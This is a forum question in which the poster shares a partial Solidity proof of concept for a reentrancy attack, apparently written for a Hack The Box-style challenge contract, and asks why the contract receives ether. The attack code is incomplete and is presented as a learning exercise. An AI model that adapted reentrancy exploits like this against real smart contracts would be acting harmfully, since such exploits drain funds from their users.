Hi guys, i wanted to write POC for a reentrancy attack but somehow its not working, and its strange that this contract is receiving ether even without any receive or fallback function

how can that be possible ?

pragma solidity ^0.8.13;

interface ILockers {
function sellItem(string calldata name, string calldata password) external;
function getLocker(string calldata username, string calldata password) external;
function putItem(string calldata name, string calldata owner, uint8 rarity) external;
}

contract ReentrancyAttack {
ILockers public lockersContract;
address public target;
uint public bal;

event debug(string pos, uint num);

constructor(address _lockersContractAddress ) {
lockersContract = ILockers(_lockersContractAddress);
target = _lockersContractAddress;

emit debug("Constructor", 11);
emit debug("attack", 11);
lockersContract.getLocker("xyz1", "abc");
emit debug("attack", 12);
lockersContract.putItem("htb", "xyz1", 2);
emit debug("attack", 13);

emit debug("attack", 14);
lockersContract.sellItem("htb", "abc");
emit debug("attack", 15);
bal = target.balance;

}


// Withdraw Ether from the attack contract
function withdraw() public {
payable(msg.sender).transfer(address(this).balance);
}
}